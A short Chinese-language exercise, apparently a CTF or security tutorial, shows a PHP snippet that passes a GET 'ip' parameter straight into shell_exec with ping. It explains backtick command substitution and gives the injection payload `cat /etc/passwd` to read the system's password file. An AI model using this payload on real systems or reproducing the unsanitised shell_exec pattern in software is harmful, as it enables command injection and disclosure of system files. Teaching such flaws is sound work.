代码如下

请构造出可以查看密码配置文件的payload

1
2
3
4
5
<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 5 $ip");
?>

如果传入的IP因为某种原因未能解析为IP会导致错误,而输出的部分正好可控

可以ping整个文件的内容,必然不能解析,报错时就会将整个文件的内容显示在报错信息中。

在Linux中反引号表示执行命令,在命令执行时,会优先执行其中的命令,返回执行的结果。

例如:

1
echo `whoami`

以上命令执行时会先执行whoami,然后再执行echo输出whoami的内容。
然后我们就可以构造payload来读取目标的密码配置文件了。

payload:

1
`cat /etc/passwd`